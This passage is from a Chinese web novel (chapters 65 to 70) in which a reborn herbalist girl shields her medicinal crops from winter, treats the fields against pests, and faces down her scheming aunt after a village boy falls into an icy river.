像是怕他拒绝,许芷连忙说:“你帮我找了师傅就算是报恩,我不要什么重金酬谢。” 宋昭奕心想,怪不得这丫头特意问了这件事,原来是想要拜师。 他恢复了那副平易近人的模样,恍然大悟道:“原来如此,只是那郭员外怕是在骗你,姑苏城早就没有苏家,那宋家也攀了高枝做了皇商,只买卖药材,不再钻研岐黄之术,你只怕要失望。” 第65章 药苗御寒 许芷流露出可惜又悲伤的样子,无奈道:“那好吧,你还是重金酬谢吧。” 宋昭奕轻叹一声,又道:“但我可没说不帮你找个厉害的师傅。” 许芷眸子瞬间点亮,猛地抬起头看他,有些惊喜的问:“真的吗?” 宋昭奕点点头,嗯一声,继续说:“姑苏没有,我去别的地方给你找,一定要把你培养成一代圣手,说不准以后要你医治,重金难求。” “谢谢你宋大哥。” 许芷道完谢,步伐雀跃的离开。 只是在关上窑洞门的瞬间,她的脸色倏然冷了下来。 没有苏家,这是什么意思? 父亲可是有名的圣手,医术高超却从不敛财,甚至月月义诊。 母亲和哥哥也都是顶好的人,温柔待人,姑苏城内谁人不知苏家良善。 可如今宋昭奕却说没有苏家,究竟为什么? 他们家又为什么成为皇商? 明明当时父亲和宋伯伯约定要做百姓的救命仙,毕生致力于钻研岐黄,绝不沾染铜臭俗气。 而宋伯伯如今却只买卖药材,不再治病救人。 她死后到底发生了什么。 从她在此醒来开始,她一直有些逃避。 许芷害怕以现在的面容去找父母,他们无法接受。 而下坪村离姑苏城千里之远,她就算是想打听一下家中的消息,都无从打听。 第一次见到宋清奕的时候,她动过恻隐之心想要侧面打听一下。 可是宋清奕的眼神太深,她如今才有些能平静的面对他,怎么可能周旋于其中问的出口。 而宋昭奕的出现,让她看到了希望。 才有了今日这一番试探,可她宁愿自己不知道。 许芷的眼泪又落下来,她止不住的想到底发生了什么,她死的这十年中间到底都发生了什么? 此时,看她许久没回来的邓老太,站在侧门叫她。 她慌忙的擦了眼泪,深呼吸几次,让喉咙里的哽咽感缓解一些,才应声出去。 “怎么送完饭送这么久?” 邓老太有些担心的问,她还是不希望孙女跟这个人单独呆的久。 “我给宋大哥看了看伤口恢复的怎么样,就耽误了会儿功夫。” 许芷随口扯道。 邓老太闻言索性说: “下次我老婆子去送饭,你别去了。” “那我跟祖母一起去。” 许芷尽力笑的天真烂漫些。 果然祖母一看她这个样子,亲昵的点她的鼻尖,笑道:“你这丫头,太有主见。” 晚上许芷躺在床上,还在想这些事,她觉得要弄明白这一切,还是得去一趟姑苏城才可以。 今年是不行了,明年赚了钱立刻去。 她必须要知道到底发生了什么。 而第二天,许芷再回到窑洞的时候,宋昭奕已经没了身影。 枕头下面放着那块玉牌,连张字条都没留下。 许芷将那玉牌拿在手中,若有所思。 而许芷进厨房的时候,看到祖母习惯性的给宋昭奕舀了一碗饭。 看到许芷进来,她吩咐道:“正好你起床了,咱俩把饭给那人送去。” “不用了,祖母,宋大哥走了。” “走了?” 邓老太感觉很意外。 “这人来的奇怪,去的迅速,真是让人难捉摸。” 宋昭奕离开的悄无声息,好像从未出现过。 刚开始那几天早上,许芷醒来的时候甚至有些恍惚,都有些不确定留了宋昭奕好多天是梦是真。 可她每每摸到枕头下的玉牌,才真切的感受到,那是真的。 冬日里草药的看护没那么费劲儿,气温低病虫害可能性低,但是也不是完全没有。 所以要及时去地里转着看看。 许芷这几天跟王茹娇天天往地里跑。 看到长得不太好的苗、或者冻死的苗就拔出来。 同时许芷检查一下有无病虫害的情况。 二十多亩地,全都看了一遍也不是轻松的。 而且眼看要冷起来了,许芷担心过冷,药苗可能撑不住会冻死。 她打算去弄点干草和枯树枝,给草药建一道防护的草墙,起码防风御寒。 光她一个人肯定是不行的,她发动三家都动起来,去山上拣枯枝和甘草。 拣过之后直接放在山下她建的仓房里,不过两三天,仓房里已经放不下了。 她看着这么多的枯枝和干草觉得差不多,可以开始干活了。 冬天的地里人很少,故而他们几个忙碌的身影就格外的显眼。 这次帮助药苗御寒,许芷主要采用两种方法。 一种是覆土法。 顾名思义就是在药苗的根部培上一层厚土,用来保护好根部。 另外一种就是包裹法。 一般是用干草包裹住树木,让树木不在因冷冻吹风而树皮干裂。 但要是把药苗一棵棵的包裹住也不现实。 所以许芷的办法是,在迎风面给药苗搭建一层防风屏障。 下坪村冬天刮西北风,所以她就在药田的西面,沿着地边用树枝和干草筑起一层四尺高的屏障。 同时减少浇水,这样地不会冻上,对药苗的伤害小一些。 许芷将三家人分成两拨,分开行动。 一拨去建屏障,一拨去培厚土。 许芷和祖母两人,跟王茹娇和徐青云姑嫂俩一起,她们四个人去建屏障。 王三叔、王三婶夫妇和张立柱、张铁牛兄弟俩一起,这四个人去培厚土。 因为培厚土需要去挑土,这可是个体力活,就安排张家兄弟两个了。 建屏障的四人从王茹娇家的地干起,培厚土的从王三叔家的地里开始,这样两拨人干活的时候不打架。 许芷和王茹娇拿枯树枝和甘草,邓老太和徐青云规划着,将枯树枝都插进土里固定好,再把干草往上铺。 铺上去的时候为了固定上,还特意用一些更有韧性的干草扎一下。 四人有条不紊的进行着,一上午时间弄了三亩地。 而那边培厚土的进度要慢很多,因为许芷她们一亩地只用弄一边,但是培厚土是要整一亩地都铺。 故而第四天许芷她们建完防风屏障的时候,王三叔他们刚把他们两家的地弄完。 所以许芷她们也一起帮忙培厚土。 但是只有许芷和王茹娇两人加入了进来,天气太冷了,许芷不想让祖母还干活。 徐青云是要照顾婆婆,也不来了。 他们六个人又努力了两天,终于药苗的御寒工作就结束了。 而她在山坳里种的那两亩药田因为在背风面,只用培厚土就行。 第66章 第一场雪 做完了御寒准备,王茹娇扶着腰感叹终于能休息。 许芷幽幽道:“这只是做完了防寒,杀虫预防也是要做的。” “啊?”王茹娇不解的问许芷:“不都说春天更容易有虫害,为何现下就要杀虫预防。” 许芷闻言耐心的解释说:“春日杀虫的时候,一般是真的看到有虫害才会去做,这样的话,虫子已经破坏了一部分粮食,说白了是在及时止损。 可若是冬日就做了杀虫准备,那土里的虫子被杀死,来年春天就算是暖和了,土里的虫子已经死了,这样降低了病虫害的可能性,不就提前预防了损失。” 听了许芷这话,众人都恍然大悟。 “许丫头说得对,就是种地也应当这样。” 王三婶赞同的说道。 “没错,三爷爷三奶奶,这次杀虫预防,我多备下些,你们种粮食的地里也过一过的好。” 听了许芷的话,王三婶高兴极了,连道了三声好。 防病虫害主要是靠两种东西,草木灰和生石灰。 草木灰好得,做防风屏障还剩了些干草和枯枝,燃烧可得。 不够就再上山拣就是。 不过生石灰没法自己弄得,得去专门买。 许芷最近发了月钱,加上卖草药的钱,差不多有个二两银。 生石灰在高羊村隔壁村子,西窑村有卖。 事不宜迟,第二日许芷安排他们在家里的仓房燃烧干草和枯枝,制作草木灰。 而她要去西窑村买生石灰。 这次也是她跟舅舅一起去的。 舅舅给人家盖房子,也用的到生石灰,跟人家认识。 邓耧子带着许芷到了西窑村卖生石灰的地方,问过是一百个铜板一袋,一袋大概一百斤。 这一袋混上草木灰能撒个两亩地,一共需要大概十三袋。 许芷买了十五袋,多出两袋的余量,万一十三袋不够,这两袋能补上,用不完还能给王三婶和娇娇家,给他们中的粮食用。 听到许芷要的不少,也看在邓耧子的面子上,主家特意给许芷便宜了一百文。 付完钱之后,许芷口袋里只剩三百多个铜板。 她叹了口气,还想着存钱,没想到都是花钱的地方。 主要是也没想到会遇上宋昭奕,给他买药还花了一两银子,本就不富裕,如今更是雪上加霜。 她只期待在上山还能幸运些,找到草药去换钱。 距离过年不过一个多月,她领月钱也就能领一个月,到过年的时候,她大概能有个二两银。 这也能够过个丰盛的好年了,不买新衣裳啥的,过年期间还是能吃的很好。 还好上次买乔迁宴的东西,祖母将剩下的肉都腌制了起来。 如此又省了一些费用。 当天,卖生石灰的用自己的板车将许芷定的石灰拉去了下坪村,许芷和舅舅两个人也蹭上了车,不用自己走回去。 生石灰回来都堆在了另外的仓房里,许芷让他们烧制草木灰,自己去山上找草药、做药丸。 都忙得不可开交。 果然是已经入了冬,许芷找了两天的草药,不过是平时上山一趟的量。 再一次集的时候,因为许芷要去城里,所以让大家休息了一天。 等第二日大家再继续努力。 生石灰和草木灰要是混合驱虫的话,要把生石灰按照一定量加水变成熟石灰才可以。 其实许芷也可以直接买熟石灰,可熟石灰比生石灰贵。 她现在囊中羞涩,自然不会直接买熟石灰。 何况只要加水就能得到熟石灰,他们房子旁边就是河,多的是水。 因为舅舅盖房也会做熟石灰,很清楚加多少水。 所以制熟石灰这项任务就交给了邓耧子和张家两兄弟。 浇水很简单,但是浇了水之后石灰要放半个月,才能用。 许芷只盼着着半个月别下雪,每天早晚都观察祈求第二日别下雪。 许是她的诚心打动了老天,听祖母说往日这个时候定然已经下过第一场雪,可今年硬是没下。 石灰好了那天,众人都又来到了许芷家仓房,按照熟石灰五斤、草木灰一斤这样的量,混合在一起。 开始给地里做杀虫预防,这就简单多了,就是给每个植株撒上就好。 不过两天就干完了这些活。 这下这个冬天算是彻底要休息了。 刚撒完草木灰和熟石灰,第二日便下了雪。 准确的说,是前一天半夜就已经下了下来。 早上许芷起床,感受到了非同寻常的寒意。 她打开窗想透透气,才发现竟然下了雪。 她真的很喜欢雪,激动的她赶紧穿上了厚衣服,冲出家门去欣赏洁白无瑕的雪景。 整个村子都银装素裹,看起来是那么的纯洁,又让人感觉到平静。 看着门口的那颗柿子树盖上厚厚一层雪被,许芷心中是前所未有的雀跃。 正享受着这雪景,一个雪团子砸进了自己的脖子,冰凉的湿意激的她打颤。 转头看原来是王茹娇。 王茹娇今日穿了个嫩黄的袄子,在这一片白色的雪地里显得如此娇俏动人。 她调皮的笑着,趁许芷还未反应过来,又丢过来一个雪团子。 这次许芷迅速侧身躲过,嗔道:“娇娇,别闹” 王茹娇眉眼笑意盈盈,拍了拍手上的雪,走过来道:“小芷,我家里有张冰床,拿出来让你舅舅拖着咱们玩啊!” “冰床?” 许芷瞬间来了兴致,她从未见过这样大的雪,更不要提任何的雪上玩耍项目。 “对呀,冰床,我家那是个小的,咱俩坐上去正好,让你舅舅或者铁牛哥拉着咱们可好玩了。” 王茹娇说着眼神中已经盛满跃跃欲试的兴奋。 “成!” 许芷答应后,吃过饭她去了王家找王茹娇。 这一下雪,不光是她们俩兴奋。 村里的孩子们也都兴奋的打雪仗,一时间嬉笑大闹的声音充斥着村子。 因为寒冷而安静了一阵儿的小村子,如今好像因为这雪重新焕发了活力。 第67章 起了争执 许芷站在王家门外叫人,王茹娇还没出来,隔壁的王三婶端着盆子出来了。 “许丫头,来找娇娇玩呢?” 说着王三婶将盆里的废水泼了,又在外面扒了一盆雪。 “哎。” 许芷应后,对王三婶弄盆雪的举动很是好奇。 “三奶奶,你这弄盆雪是干啥呀?” “一年的头场雪好,用来熬粥,喝了就不上火,还不会觉得口干。” 听到王三婶这么说,许芷来了兴趣。 她从前倒是听过用雪煎茶,也听父亲提过一嘴,夏日用融化的雪水还能治病。 但她并不清楚具体的功用,毕竟她长大的地方没有雪,对这方面不是很了解。 许芷想,什么时候去了城里问一问黄药师。 正想着,王茹娇费劲的拉着冰床出来。 说是冰床,其实是木头做的,形似板车。 跟许芷去城里坐的牛车很像。只是没有轮子。 叫冰车只是因为是冬天雪上玩的,故而有此名。 许芷看着王茹娇吃力地样子,她赶紧上前帮助王茹娇把冰床拉出来。 王三婶看到了,玩笑说道:“娇娇真真是小女儿家,吃喝玩跑的可靠前。” 王茹娇听了这话,知晓三婶只是开玩笑,她佯怒道:“三婶,这大雪天的本就没事干,玩一玩咋啦。” “不咋不咋,看到你啊,总想起我那小孙女。” 王三婶提到孙女面容变得柔和。 王茹娇随口问道:“三婶,迢迢马上就回来了吧。” “可不是嘛。”王三婶眼神虚了焦感慨:“哎呀,一天一天的真快,还有月余就要过年。” 听着王三婶感慨完,许芷和王茹娇跟她道了别,两个人拉着冰床去张家找张铁牛拉车玩。 本来王茹娇说的是找许芷舅舅,因为邓家距离更近些。 但是许芷不想主动找上邓家门,所以两个人就绕远去了张家。 这一叫不仅叫出来了张铁牛,还有张立柱和里正家的小孙子。 里正笑呵呵的拿出了家里的木马,把人和木马都交给他们说道:“我这小孙子也想玩一玩,可是我这一把岁数,这腰实在不行,你们就帮我带一带。” 四人很爽快的答应了。 许芷和王茹娇坐在冰床上,张铁牛拉着往前跑。 后面是张立柱栓了根绳在木马上,拉着里正的小孙子玩。 因为村里的路上,好多孩子在打雪仗玩,拉冰车玩不开。 他们五个人就跑的远了些,打算到村东头去玩。 那边有个大坡,滑下来的话不用费力去拉。 而且那边人少一点,也玩得开。 五人刚走到那边,还没开始玩就听到了争吵声。 “你怎么能在雪团里包石头呢?都把我妹妹的眼睛砸肿了!” “凭什么不能?况且我也没照你妹妹砸,是她自己撞上了我的雪团。” “你!你真不要脸,说这种话!” “怎么了?我说的是实话。” 许芷听到那无赖的声音甚是熟悉。 而爱凑热闹的王茹娇一听,冰车也顾不上玩,立刻跑过去看看是怎么回事。 这边的坡下面就是河流,争吵声就是从河流那边传来的。 他们在坡顶往边上走一走,就能看到下面的情况。 许芷也跟了过去,果然看到了邓家宝。 邓家宝对面站着一对兄妹,那妹妹的眼睛肿的眯成一条缝,一看就是刚刚说的被石头砸到了。 “明明就是你瞄准我妹妹的!” 黄安业还在据理力争着。 “我说了是她自己跑路没长眼,撞上来的,你要是再胡说,信不信我把你推进河里?” 邓家宝那肥胖的身躯蛮横的往前一站,面前的这对兄妹明显不是对手。 妹妹的脸上还挂着泪珠,害怕的往哥哥身后藏,小声说:“哥哥算了吧,我们快走。” 邓家宝听到更加的得意,哈哈大笑:“窝囊废!大窝囊废生小窝囊废,一家子窝囊废!” 听到这话王茹娇忍不住低声骂道:“这邓家宝真是个小混蛋,欺负人家还这样嚣张。” 而听到这话的哥哥攥紧了拳头,愤怒的眼睛死死盯着邓家宝。 邓家宝一点不怕,反而故意用手戳他,嘲讽的说:“不服气?我又没说错,我娘说了,你爹就是个窝囊废。” “不许你这样说我爹!” 黄安业生气的吼道。 但邓家宝一点都不把他的愤怒放在眼中,反而继续说些挑衅的话。 王茹娇听不下去,撸了袖子就要下去帮忙。 只是她还没下去,气到失去理智的黄安业推了邓家宝。 其实按照邓家宝肥硕的身躯,瘦弱的黄安业根本推不了多远。 可没想到的是,邓家宝身后脚下有一块石头,他绊到了之后整个人失去重心往后趔趄了好远。 最后直接砸在了河水的冰面上,换个瘦的人可能到此为止。 可偏偏他胖,邓家宝跌倒的瞬间,河面的冰直接碎裂,他掉进了冰凉的河水里。 看到这情况,王茹娇他们也顾不上什么撑腰不撑腰的,先要把邓家宝救出来。 张立柱边跑边脱衣服,到了河边一点没有犹豫,扎进水中托起了邓家宝。 张铁牛在岸边拉着,兄弟俩齐心协力把邓家宝救了出来。 正好拿来了冰床,赶紧把人拉回家,让他爹娘给他换衣服看病。 而在他们救人的时候,后面站着的黄安业早就吓傻了,他根本没有想到自己那一推会这么严重。 到底是个小孩子,直接被吓得痛哭起来。 许芷走到他的身侧,温柔的摸摸他的头,她还没开口哄他。 黄安业先开口大声哭着解释:“我没有要给他推进河里,姐姐你相信我,我真的没想到会这样。” 他一哭,妹妹也跟着大哭,听的许芷心中不忍,可她却不知道该怎么哄人。 还是王茹娇接过来说道:“姐姐相信你们,但是现在最主要的是先保证邓家宝无事。” 许芷让王茹娇陪着兄妹俩回家,跟家人说一下情况。 纵然他们都知道是邓家宝先挑衅做的坏事的,可是毕竟人掉进了冰河里,到底要怎么办还是两家商量着来。 里正家的小孙子就让张铁牛送了回去。 而她走到了冰床前,查看了一下邓家宝的情况。 第68章 心如蛇蝎 邓家宝此时已经冷的昏过去,面容发紫没有血色。 冬天穿得厚,今天下雪比前两天更冷,故而邓家宝穿的更厚。 衣服吸饱了水,这么冷的天,相当于穿了身冰块在身上。 许芷上手将他的衣服解开,让张立柱脱了一件衣服先给邓家宝穿上。 穿得薄不怕,总比那湿透了的衣服强。 她要尽力让邓家宝不会那么严重,要不然就算是邓家宝先动的手,黄家也不沾光。 给邓家宝穿好衣服之后,赶紧带着人回邓家。 他们还没到邓家,就碰上了黄安业的母亲刘喜英苍白着脸,带着兄妹俩往邓家赶。 看到他们拉着人,走上前问张立柱:“柱子,你跟嫂子说,邓家宝咋样了?” 张立柱摇摇头,道:“婶子,这我们当即就把人救出来,现在就看造化。” 刘喜英有些失落的点了点头,这情况刚刚王茹娇已经说过了。 她还是扯起一抹勉强的笑容,给张立柱道谢。 要不是他们在,只有她这一双儿女不会这么快把人救出来,到时候估计更难说事。 许芷看到刘喜英身后的黄安业和黄安笑悔恨的垂着头,无声地抽泣着。 她无声地叹了口气,只是现在不是安慰的时候,一行人先着急去了邓家。 路上有村里人听到情况,已经跑到邓家跟王素娟说了。 王素娟一听自己的宝贝儿子掉了河,着急忙慌得跑了出来。 看到许芷一行人的时候,她着急的上前查看自己儿子的情况。 一看她儿子昏过去,她哭天抢地的叫唤。 等到了邓家,张立柱两人把邓家宝背着送回了屋。 早在没到之前,许芷就交代了张立柱,一会儿到了邓家跟她说怎么做。 所以张立柱把人放上了床,跟王素娟交代说。 “邓家大嫂,如今当务之急,是先给他换上干净厚实的衣服,放进被窝里暖着。 有汤婆子的话,给他的脚头和两边胳膊各放一个,然后熬了姜汤灌下去,过了今晚不发热就没事。” 王素娟一边哭一边听话的应承着,赶紧照着张立柱的话,把儿子塞进了被窝里,还让邓栓子脱了衣服进去帮儿子暖着。 这边她出去熬上姜汤才腾出空,王素娟走出厨房,看着院子里站着的刘喜英。 刘喜英自知理亏,先一步上前问道:“邓嫂子,家宝怎么样了?” “哼!” 王素娟都不正眼瞧刘喜英。 “怎么样?你可真是养了一个好儿子啊! 这么冷的天把我儿子往河里推,是想让他死?” “不不不。”刘喜英慌乱的摆手:“小业不是这种坏品行的孩子,他一定不是故意的。” 闻言,王素娟嗤笑一声:“嘿呦喂,你这意思,他不是故意的,是我儿子咎由自取呗?” “不、不是,我不是——” 刘喜英解释的话还没说完,王素娟打断了她。 面对来看热闹的人,往地上一坐哭嚎:“这什么世道啊,自己儿子把别人家儿子推进了河里,不说自己儿子的错,反而倒打一耙,天理难容啊。” 看热闹的人听到这话,都纷纷站在了王素娟这边指责刘喜英。 “喜英,这就不是我们说你了,都知道你一个寡妇带着俩儿子苦,可是再苦你也不该这样是非不分啊。” “是啊喜英,这就是你的不对了。” ...... 听到大家都这么说,王素娟声嘶力竭的指着黄安业道:“他就是想让我儿子死啊!小小年级,竟然心如蛇蝎!” 因为她这句话,大家又对他们母子两个群起而攻之。 而刘喜英面对大家的指责,一时间说不出任何的话,只有不住的道歉。 王素娟不解恨的直接抓住了刘喜英的头发,又撕又打又扇又挠。 刘喜英不是那种强势的性子,面对这种情况,她只会躲,结果是被王素娟挠的脸上都是血道子。 黄安业看到母亲受了欺负,本来还自责的不敢抬头的他,瞬间生气的扑上去,推开了王素娟。 被推开之后,王素娟并不生气,反而笑出了声:“大家可看到了,这小兔崽子又推人,可见他就是这样的品性。” 刘喜英着急又生气的把儿子拽了回来,恼怒的打着儿子的背。 “你当着我的面还敢动手?” 黄安业哭的痛心疾首,“娘,不是这样的,她打你。” 听到儿子的话,刘喜英心中明白儿子是为自己出头,可是这个时候出头那不是火上浇油。 她又气又急,王素娟本身就不是什么善茬,让她沾上没理都要讹你一身屎。 何况现在是他们把人推进了河里,王素娟定不可能罢休。 她不是不讲理的人,儿子犯的错她认。 只是自己儿子竟然又动手,这不是把把柄送到人家手里,还不知道王素娟怎么样才肯了。 刘喜英着急之下,口不择言:“人家打我,还不是因为你动手把人儿子推进了河里! 你不反思自己的错,竟然还动手,是娘平时对你太和颜悦色,所以你才这样无法无天是吗! 要不是你,娘至于被人打吗?” 说着她的巴掌都落在了儿子的屁股上。 王素娟呸一声,冷笑道:“做这出苦肉计给谁看呢,不会以为你先打了儿子,说了这种话,我就不会计较。 那你可想多了,今天这事儿,我追究到底!” 看着黄安业被打的痛哭,人群后的王茹娇忍不了,冲上前从刘喜英的手里救下了黄安业。 “刘嫂子,你先别打了,事情的经过我不都给你说了,咱推人下河是不对,可若不是他邓家宝挑衅在先,小业怎么会失控推人?” 王素娟看到冲上前的王茹娇,不耐的说道:“关你什么事?” 王茹娇没有理会她,而是将藏在后面胆小的黄安笑拉了出来。 指着她肿起来的眼睛说:“这就是邓家宝所为。” 黄安笑才三岁,小小一个站在冰天雪地里本就惹人怜爱。 如今眼睛肿那么大,脸上挂着泪,看得人更心疼。 王茹娇看了一眼王素娟,继续说:“邓家宝把石头装进了雪团里,丢到了笑笑的眼睛上,却还说什么是笑笑自己撞上来的。 本来看他这无赖态度,小业已经不跟他争辩什么,是他骂了小业父亲窝囊废,还说小业也是,小业一时恼羞成怒才这样。” 第69章 转移矛头 此言一出,本来指责他们母子的人不再说话。 因为黄安业的父亲是为了村里人才死的,前年下大暴雨,村里水灾泛滥。 多少人挣扎在水里无法逃脱,都是黄安业的父亲救的人。 可他救了所有人,偏偏他自己最后却力竭被洪水卷走,竟是连尸首都未曾寻到。 经此一事,大家平日里对刘喜英母子三人多加照顾,谁也不敢说一句黄安业父亲的不好。 人群中有人开始说王素娟:“你看你儿子说这叫什么话?” “我还记得发洪水的时候,你家家宝非闹着要个玩具,那么凶险的情况下,小业他爹逆着洪流,可是也给你们带到了山上。” “真是,不是我说,素娟儿啊,你儿子这嘴忒臭了点,跟你学的吧?” 说完一阵哄笑声,王素娟一听恼羞成怒道:“你们都放什么屁呢?他爹愿意拿,我们逼他了? 再说了,就算是这样,我儿子是嘴上欠了点,那也不该把人往死里推吧,这么冷的天,感情不是你们儿子掉了水。” 刘喜英也止住了哭泣,上前一步道:“我们小业确实不该推人,家宝若有什么事,我们一定负责到底。 我先前说小业不是故意的,并不是不认我们的错,只是我不认为小业是那种坏心的孩子,邓家嫂子,你先消消气,有啥我们商量着来。” 王茹娇接过刘喜英的话说道:“就是得商量着来,不能光说邓家宝的事儿吧,也得说一说邓家宝故意伤害笑笑的事情吧。” 王素娟一听哼笑一声,袒护儿子说道:“说什么说,我儿子不是说了,是这小妮子自己撞上的。 我儿子随便丢一个雪团,她没长眼有什么办法,砸到她是她活该!” 听到这种不要脸的话,大家都面色各异。 王茹娇还想出头,被许芷挤过人群拉住了。 低声道:“你越说她越来劲儿,先别跟她争论了,毕竟现在邓家宝的情况还不明。” 王茹娇不甘的跺了跺脚,却也只能暂时咽下这口气。 许芷说的不错,一切都看邓家宝严重不严重。 反而王素娟看到许芷也在,她见到鬼一样的眼神看着许芷,不满的说道:“你个晦气玩意儿,来我家干啥?” 王茹娇听到王素娟这样说许芷,生气的回答:“你说什么呢!是我们一起救了你儿子好吗?” 一听这话,王素娟微眯着眼睛看着她们二人,问道:“这么说,我儿子落水的时候,你们都在?” 许芷已经听出来王素娟语气中的不对,她想拦着王茹娇先别理王素娟。 可是王茹娇已经回答出口。 得到了肯定回答的王素娟狞笑出声:“我就知道,一定是你这丫头故意挑唆别人对我儿子下手的!” 所有人都没想到王素娟突然把矛头转向了许芷。 王茹娇不敢相信自己听到了什么,质问道:“你说什么?” 要不是许芷当机立断,让他们把邓家宝的湿衣服脱掉,换了干衣服。 还不敢想这一路拉回来,冰一样的衣服穿在邓家宝身上,他会有多严重。 而且后续的处理方法也都是许芷教给张立柱的,就是怕自己说王素娟不领情,反而会倒打一耙。 没想到她都没有往前凑,王素娟还是把矛头对准了她。 许芷淡定的看着她说道:“你还是赶紧看看你儿子怎么样吧,姜汤都要熬干了,还在这狗一样的疯咬人。” 王素娟被这话气的不轻,但也知道儿子的身体重要,先喝了姜汤再说。 她愤愤的瞪了一眼许芷,进厨房倒好姜汤,送进屋里。 到了屋里她先看了看儿子的状况,看到儿子面色恢复了些,松了口气。 而邓栓子早就听到了他们外面的吵闹,他接住姜汤对妻子说:“你出去死咬着许丫头不放,那丫头手里富着呢。” “那寡妇就放过她?” 王素娟不甘心的问。 “刘喜英一个寡妇带俩孩子,身上哪有油水?还不如死咬着许丫头。 况且那寡妇怕是急着甩给别人,你稍微逼一下估计就跟着你说的走,钱拿到手再说。” 说完,邓栓子摸着儿子逐渐回暖的体温,他咬牙切齿的说: “至于咱们儿子被推的仇,那臭小子总要去河边,到时候他脚滑了溺死了也不是没可能。” 王素娟听着丈夫的话,得意一笑,“就是,还是你想的好。” 等到她再出去的时候,看热闹的已经没什么人了。 只有刘喜英母子三人和许芷、王茹娇跟张家兄弟俩在。 王素娟冷笑看着他们,张口道:“许丫头,我好歹是你舅母,你怎么能这样害家宝?” 王茹娇着急的上前辩解:“你疯了吧,我都说了是我们救了邓家宝,铁牛哥他们都在,你胡说什么?” “谁不知道你们几个走得近,说不准你们早就统一供词,定然不承认。” 听到王素娟这失心疯一样的话,王茹娇急的要跳脚。 许芷拦着她,拍一拍,让她冷静一点。 “别为了这种人气到自己。” 说完她看向王素娟,不耐烦道:“反正人给你送回来了,剩下的与我无关。” 话音落下,她拉着王茹娇就要走。 可王素娟三步两步追上去抓住她的手臂,恶狠狠道:“你个死丫头,既然沾上了就别想脱身。” 许芷皱着眉头将她的手拨开,却怎么都甩不掉她。 王素娟看似好说话的软了语气,开口道:“你既然说你无辜,那总要听一听那小子的说辞吧,若是他说不是你,我还能死咬着你不松口?” 许芷知道王素娟有多缠人,所以她暂时同意了。 王素娟走到黄安业身边,眼神恶狠狠地盯着他问道: “臭小子,你说是不是这个许芷让你把我儿子推下去的。” 黄安业一听下意识的就想摇头,爹娘都教育过自己,不能撒谎,要做一个诚实的孩子。 可他紧接着听王素娟说:“要是你被她挑唆,那罪不在你,我就不跟你娘掰扯这些。 你们家不宽裕吧,真要是让你们赔钱,你们能赔得起吗?” 最后一句是她压低了声音在黄安业耳边说的。 第70章 血是我的 而黄安业听到这话犹豫了,他知道从爹去世之后,娘一个人有多辛苦。 他也知道家里早就揭不开锅了,过冬的粮食都是娘去借的。 其实他们家是有田地的,只是他娘一个人根本种不了那么多。 每年的粮食交上去,自己就不剩多少了。 真要是因为自己的错误,让娘背上债务,他们这个家不就被压垮了吗? 他转头看了看娘,又看了看许芷,内心无比挣扎。 而王素娟还在步步紧逼的追问着。 他想到妹妹还没修补的鞋子,娘累的整天腰疼,还有家里日渐见底的面缸。 终于他做出了决定,他抬起眼看着王素娟,一字一句的说道:“是你儿子骂了我和我爹,我才推他的,跟别人没有关系。” 他最终还是决定听爹的教诲,要做一个诚实的孩子,不能说谎。 而王素娟听到这话,气急败坏直接把黄安业一个孩子推到在地。 许芷一看立刻冲上前去,按下了挣扎着要起来的黄安业。 “小业你怎么样?” 王茹娇先是看了看黄安业,接着转身质问王素娟:“你干什么?这么小的孩子你竟然也能下得了手! 你的目的没得逞,就要这样伤害小业吗?” “怎么了?他不是也没事吗。” 王素娟满不在意的说着。 下一刻,许芷将自己的手从黄安业的后脑勺拿出来,满手的血滴落在地。 刘喜英看到脸色瞬间苍白,猛地扑过去痛哭出声:“小业!小业,你不要吓娘啊,小业。” 黄安笑吓得站在那里一动不动,小小的人还承受不了鲜血的冲击。 许芷将血手放在王素娟的眼前,愤怒问道:“你管这叫没事?” 王素娟看到血流不止,她瞬间慌了,明明她刚刚没用多大的劲儿,怎么会这样? 许芷赶紧把黄安业的头包了起来,站起来不卑不亢的说道:“你儿子掉下去我们立刻救了上来,当即换了湿衣,回来也做了措施,撑死就是高热症状,几副药就会好。 可你儿子拿石头砸了笑笑的眼睛,弄不好是要瞎的,你又推了小业,若是伤到了脑子,这辈子都完了。 若是要追究小业推了你儿子的错,那可以啊,都追究,我们也不私下里说,直接对簿公堂,看看县太爷怎么判。” 几句话下来,王素娟的脸色早就变了,她已经没了方才的气势。 “什么瞎?什么伤到了脑子?没影的事儿乱说什么。” 她嘴硬道。 许芷听到嗤笑一声,说道:“所以我说对簿公堂,县太爷说怎么办我们就怎么办,绝无异议。 只是......” 她话锋一转走上前,轻蔑的看着王素娟说:“只是你猜是致人伤残,一辈子看不见,变成个傻子严重呢,还是把人推下河发了高热严重呢?” 王素娟闻言猛然看向许芷,眼神里多的是不甘和怨恨。 可是她不得不承认,许芷说的没错。 刚刚她进去看,儿子脸都红了,像是没多大事。 真要是闹到官府,肯定是他们的错。 她死死咬着嘴唇,对许芷几次坏自己好事气愤不已。 如此她变了变脸色,对着刘喜英说道:“你个不要脸的寡妇,就这么带着一双儿女来讹我家,我人心善不跟你计较,赶紧滚吧。” 刘喜英闻言愣怔片刻,抱着儿子就走,女儿跟在后面。 而许芷没有直接离开,而是冷脸警告王素娟:“你若是再来无事生非找我麻烦,我不介意送你进县衙大牢走一趟。” “你算什么东西,县衙大牢是你家啊,说送我进去就送我进去。” 王素娟此时非常不爽,她尖声刺道: 许芷轻蔑一笑,缓缓道来: “你当时把我骗上山杀了我的事情还没过去呢,西域有一种草叫吐真言,吃下之后知无不言。 恰巧前阵子我去南庄寨子的时候偶尔得到,若我击鼓鸣冤,县太爷必定传你,到时候我拿出这草,县太爷也不必费力审,定然愿意用,你猜你会不会进去?” 根本没有什么吐真言,那都是她乱说的,就是为了让王素娟害怕。 毕竟村子里的人都知道她去过南庄寨子,依照王素娟这种人欺软怕硬、踩地捧高的性子,许芷七成把握她会信。 果然王素娟一听这个呼吸急促,整个人都慌了。 许芷看她这样子,就知道人被吓到了。 她不愿再多浪费时间,转头就走。 王素娟在她身后不依不饶的喊着:“你个贱丫头,就这样对待你的舅母,我进去了对你有什么好处? 好歹你也在邓家活了十年,我们没让你饿死冻死都算好心了吧。” 闻言,许芷扭头看向王素娟的眼神冷漠至极,话语像石头子一样,一个一个砸过去: “你若是多说一句,我现在立刻在村子里把你谋财害命的事情说出去,依照你的为人,就算没有证据,村子里人的口水也能淹了你。” 王素娟自然不敢,这种事说出去,八辈子都被人戳脊梁骨。 她气的胸腔剧烈起伏,却再没多说一个字。 最后哼一声,转身进了屋子。 